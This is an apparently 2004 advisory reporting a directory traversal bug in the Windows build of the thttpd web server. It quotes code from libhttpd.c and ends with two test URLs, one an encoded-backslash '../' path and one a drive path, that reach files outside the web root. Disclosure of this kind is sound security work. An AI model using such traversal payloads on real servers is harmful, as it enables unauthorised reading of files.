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Bugthttpd

From: CoolICE (CoolICEChina.com)
Date: Wed Aug 04 2004 - 03:02:44 CDT

Application: thttpd
Vendors: http://www.acme.com/software/thttpd/
Version: 2.07 beta 0.4 10dec99
Platforms: Windows
Bug: Directory Traversal
Date: 2004-08-04
Author: CoolICE
e-mail: CoolICE#China.com
================
Content:
in libhttpd.c:
int
httpd_parse_request( httpd_conn* hc )
[...]
    if ( hc->decodedurl[0] != '/' )
        {
        httpd_send_err( hc, 400, httpd_err400title, httpd_err400form, "" );
        return -1;
        }

static int
really_start_request( httpd_conn* hc )
[...]
    if ( stat( hc->expnfilename, &hc->sb ) < 0 )
        {
        httpd_send_err( hc, 500, err500title, err500form, hc->encodedurl );
        return -1;
        }
------------------
TestCode:
http://localhost/%5c../test.ini
http://localhost/c:\test.ini